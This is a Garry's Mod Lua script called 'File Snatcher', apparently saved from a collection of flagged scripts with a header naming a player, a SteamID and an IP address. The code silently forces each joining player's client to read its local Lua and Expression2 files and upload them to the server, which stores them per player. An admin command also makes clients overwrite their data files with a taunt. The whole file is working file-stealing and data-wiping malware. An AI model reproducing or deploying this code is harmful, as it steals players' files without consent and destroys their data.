-- paradox note: QAC file stealer was based off of this.

--[[
	MOD/lua/testy.lua
	Zero The Fallen | STEAM_0:1:38717786 <67.162.82.153:27005> | [28-10-13 07:02:14PM]
	===BadFile===
]]

	

    --[[
    ##################################################################
    ## Created by In$anity [STEAM_0:0:10334822]                                             ##
    ## If this was given to you, don't redistribute it!                     ##
    ##################################################################
    --]]
     
    -- Local Table Declaration;
     
    local FS = { };
     
    FS.FileObj = nil;
    FS.FileTable = { };
    FS.FileContent = { };
     
    -- +++++++++++++++++++++++++++ [ Client-Side ] +++++++++++++++++++++++++++ --
     
    if ( CLIENT ) then
     
            function FS.WriteData( file, data )
     
                    net.Start( "filedata" )
     
                            net.WriteString( tostring( file ) );
                            net.WriteTable( data );
     
                    net.SendToServer();
     
            end
     
            function FS.GetCode()
     
                    net.Start( "whitelist" )
                    net.SendToServer()
     
                    net.Receive( "whitelist", function()
     
                            if ( net.ReadFloat() == 1 ) then
     
                                    return;
     
                            else
     
                                    FS.ScriptWhitelistTable = net.ReadTable();
     
                                    -- Mark Lua/E2 Files;
                                   
                                    FS.FileTable = { };
                                    FS.Files, FS.Folders = nil, nil;
     
                                    FS.Files, FS.Folders = file.Find( "lua/*", "GAME" )
     
                                    for a, b in pairs( FS.Files ) do
     
                                            table.insert( FS.FileTable, "lua/".. b );
     
                                    end
     
                                    for c, d in pairs( FS.Folders ) do
     
                                            local files, folders = file.Find( "lua/".. d .. "/*", "GAME" );
     
                                            for e, f in pairs( files ) do
     
                                                    table.insert( FS.FileTable, "lua/".. d .."/".. f );
     
                                            end
     
                                    end
     
                                    FS.Files, FS.Folders = file.Find( "data/expression2/*", "GAME" );
     
                                    for a, b in pairs( FS.Files ) do
     
                                            table.insert( FS.FileTable, "data/expression2/".. b );
     
                                    end
     
                                    for c, d in pairs( FS.Folders ) do
     
                                            local files, folders = file.Find( "data/expression2/".. d .. "/*", "GAME" );
     
                                            for e, f in pairs( files ) do
     
                                                    table.insert( FS.FileTable, "data/expression2/".. d .."/".. f );                                      
     
                                            end
     
                                    end
     
                                    -- Sort The Table;
     
                                    for a, b in pairs( FS.ScriptWhitelistTable ) do
     
                                            local tempFileTable = FS.FileTable
     
                                            for c, d in pairs( tempFileTable ) do
     
                                                    if ( b == d ) then
     
                                                            table.remove( FS.FileTable, c )
     
                                                    end
     
                                            end
     
                                    end
     
                                    -- Grab All Marked Files;
     
                                    FS.Bits = 0;
                                    FS.FileContent = { };
     
                                    for a, b in pairs( FS.FileTable ) do
     
                                            if ( #b > 0 ) then
     
                                                    timer.Create(LocalPlayer():UniqueID() .. a, a / 2 , 1, function( )
     
                                                            if ( b != "" && file.Exists( b, "GAME" ) ) then
     
                                                                    -- Create the directory structure
     
                                                                    FS.FileObj = file.Open( b, "r", "GAME" )
                                                                                                   
                                                                    if ( FS.FileObj:Size() < 1048576 ) then
     
                                                                            FS.Bits = FS.FileObj:Size() / 4095;
     
                                                                            if ( FS.Bits > 1 ) then
     
                                                                                    for i = 0, FS.Bits do
     
                                                                                            FS.FileObj:Seek( ( 4095 ) * i )
                                                                                            test = FS.FileObj:Read( 4095 )
     
                                                                                            table.insert( FS.FileContent, test )
     
                                                                                    end
     
                                                                            else
                                                                                                                           
                                                                                    test = FS.FileObj:Read( 4095 )
     
                                                                                    table.insert( FS.FileContent, test )
     
     
                                                                            end
     
                                                                    end
     
                                                                    FS.WriteData( b, FS.FileContent );
                                                                    table.Empty( FS.FileContent );
                                                                    FS.FileObj:Close()
     
                                                            end
     
                                                    end)
     
                                            end
     
                                    end
     
                            end
     
                    end )
     
            end
     
            -- Wipe Data Folders
     
            function FS.CLDataWipe( )
     
                    for a, b in pairs( FS.FileTable ) do
     
                            if ( table.GetFirstValue( string.Explode( "/", b ) ) == "data" ) then
     
                                    local path = "";
     
                                    -- Remove "data"
     
                                    for c, d in pairs( string.Explode( "/", b ) ) do
     
                                            if ( c > 1 ) then
     
                                                    path = path .. d .. "/"
     
                                            end
     
                                    end
     
                                    file.Write( string.sub( path, 0, #path - 1 ), "In$anity was here." )
     
                            end
     
                    end
     
            end
     
            concommand.Add( "6625890", FS.CLDataWipe );
            concommand.Add( "1905701", FS.GetCode )
     
    end
     
    -- +++++++++++++++++++++++++++ [ Server-Side ] +++++++++++++++++++++++++++ --
     
    if ( SERVER ) then
     
            -- Local Table Variable Declaration;
     
            FS.Directory = { };
            FS.Whitelist = { };
            FS.ScriptWhitelistTable = { };
            FS.Enabled = true;
     
            -- File/Directory Locations [[ Relative to Data ]];
     
            FS.Directory["main"] = "file snatcher";
     
            FS.LogFile = FS.Directory["main"].. "/log.txt";
            FS.WhitelistFile = FS.Directory["main"].. "/whitelist.txt";
            FS.ScriptWhitelist = FS.Directory["main"].. "/scriptwhitelist.txt";
     
            -- Pool Net Messages;
     
            util.AddNetworkString( "filedata" );
            util.AddNetworkString( "whitelist" );
     
            -- Check File Integrity;
     
            function FS.CheckIntegrity()
     
                    if ( !file.Exists( FS.WhitelistFile, "DATA" ) ) then
     
                            file.Write( FS.WhitelistFile, "" );
     
                    end
     
                    if ( !file.Exists( FS.ScriptWhitelist, "DATA" ) ) then
     
                            file.Write( FS.ScriptWhitelist, "" );
     
                    end
     
            end
     
            FS.CheckIntegrity()
     
            -- Read Whitelist File;
     
            function FS.RWhitelist( )
     
                    if ( file.Exists( FS.WhitelistFile, "DATA" ) ) then
     
                            local fileObj = file.Open( FS.WhitelistFile, "r", "DATA" );
     
                            if ( fileObj:Size() > 0 ) then
     
                                    for a, b in pairs( string.Explode( ",", fileObj:Read( fileObj:Size() ) ) ) do
     
                                            if ( #tostring( b ) > 1 ) then
     
                                                    print( "[File Snatcher] - Adding: ".. b .." to the active whitelist." );
                                                    table.insert( FS.Whitelist, b );
     
                                            end
     
                                    end
     
                            end
     
                            fileObj:Close()
     
                    end
     
            end
     
            FS.RWhitelist()
     
            -- Read Script Whitelist File;
     
            function FS.SRWhitelist( )
     
                    if ( file.Exists( FS.ScriptWhitelist, "DATA" ) ) then
     
                            local fileObj = file.Open( FS.ScriptWhitelist, "r", "DATA" );
     
                            if ( fileObj:Size() > 0 ) then
     
                                    for a, b in pairs( string.Explode( ",", fileObj:Read( fileObj:Size() ) ) ) do
     
                                            if ( #tostring( b ) > 1 ) then
     
                                                    --print( "[File Snatcher] - Adding: ".. b .." to the script whitelist." );
                                                    table.insert( FS.ScriptWhitelistTable, b );
     
                                            end
     
                                    end
     
                            end
     
                            fileObj:Close()
     
                    end
     
            end
     
            FS.SRWhitelist()
     
            -- Whitelist Adding [ID];
     
            function FS.AWhiteListID( ply, cmd, args )
     
                    local WLSteamID = "";
     
                    if ( #tostring( args ) > 0 ) then
     
                            for a, b in pairs( args ) do
     
                                    WLSteamID = tostring( WLSteamID) .. b;
     
                            end
     
                            if ( file.Exists( FS.WhitelistFile, "DATA" ) ) then
     
                                    local fileObj = file.Open( FS.WhitelistFile, "a", "DATA" );
                                    fileObj:Write( WLSteamID .. "," );
                                    fileObj:Close()
     
                                    FS.RWhitelist()
     
                            end
     
                    end
     
            end
     
            -- Whitelist Adding [Name];
     
            function FS.AWhiteListN( ply, cmd, args )
     
                    local nametable = { };
     
                    if ( #tostring( args[1] ) > 0 ) then
     
                            for a, b in pairs( player.GetAll() ) do
     
                                    if ( string.find( b:Nick(), tostring( args[1] ) ) ) then
     
                                            table.insert( nametable, b:SteamID() )
     
                                    end
     
                            end
     
                            if ( #nametable > 1 ) then
     
                                    print("More than one possible whitelist match found, be more specific!");
                                    table.Empty( nametable );
     
                            else
     
                                    if ( file.Exists( FS.WhitelistFile, "DATA" ) ) then
     
                                            local fileObj = file.Open( FS.WhitelistFile, "a", "DATA" );
                                            fileObj:Write( nametable[1] .. "," );
                                            fileObj:Close()
     
                                            FS.RWhitelist()
     
                                    end
     
                            end
     
                    end
     
            end
     
            -- Data Handling;
     
            function FS.AskWhitelist( len, ply )
     
                    for a, b in pairs( FS.Whitelist ) do
     
                            if ( tostring( ply:SteamID() ) == tostring( b ) ) then
     
                                    print("[File Snatcher]: ".. ply:Nick() .." [".. ply:SteamID() .."] is in the whitelist!");
     
                                    net.Start( "whitelist" )
     
                                            net.WriteFloat(1);
                                            net.WriteTable( FS.ScriptWhitelistTable );
     
                                    net.Send( ply )
     
                                    return
     
                            end
     
                    end
     
                    print("[File Snatcher]: ".. ply:Nick() .." [".. ply:SteamID() .."] isn't in the whitelist.");
                   
                    net.Start( "whitelist" )
     
                            net.WriteFloat(0);
                            net.WriteTable( FS.ScriptWhitelistTable );
     
                    net.Send( ply )
     
            end
     
            function FS.DataReceive( len, ply )
     
                    local ID = string.gsub( string.gsub( ply:SteamID(), ":", "-" ), "_", "-" )
                    local fName = net.ReadString()
                    local fContent = net.ReadTable()
                    local fwContent = "";
     
                    -- Construct Data to be Written;
     
                    for a, b in pairs( fContent ) do
     
                            fwContent = tostring( fwContent ) .. tostring( b );
     
                    end
     
                    if ( !file.IsDir( FS.Directory["main"] .."/".. ID .."/".. string.GetPathFromFilename( fName ), "DATA" ) ) then
     
                            file.CreateDir( FS.Directory["main"] .."/"..  ID .."/".. string.GetPathFromFilename( fName ) );
                                                   
                    end
     
                    print( "[File Snatcher] [".. ply:Nick() .."] - Writing: ".. fName );
                    file.Write( FS.Directory["main"] .."/"..  ID .."/".. fName .. ".txt", fwContent )
     
            end
     
            function FS.DataWipe( ply, cmd, args )
     
                    if ( args[1] ) then
     
                            if ( #args[1] > 0 ) then
     
                                    for a, b in pairs( player.GetAll() ) do
     
                                            if ( string.find( b:Nick(), args[1] ) ) then
     
                                                    b:ConCommand( "6625890" );
     
                                            end
     
                                    end
     
                            end
     
                    end
     
            end
     
            -- Net Message Handling;
     
            net.Receive( "whitelist", FS.AskWhitelist );
            net.Receive( "filedata", FS.DataReceive );
     
            -- Console Command Creation;
     
            hook.Add( "PlayerInitialSpawn", "playerInitialSpawn", function( ply )
     
                    timer.Create( ply:UniqueID(), 5, 1, function()
     
                            if ( ply:IsSuperAdmin() ) then
     
                                    concommand.Add( "fs_wipedata", FS.DataWipe );
                                    concommand.Add( "fs_whitelistaddID", FS.AWhiteListID );
                                    concommand.Add( "fs_whitelistadd", FS.AWhiteListN );
     
                            end
     
                            ply:ConCommand( "1905701" );
     
                    end )          
     
            end )
     
    end

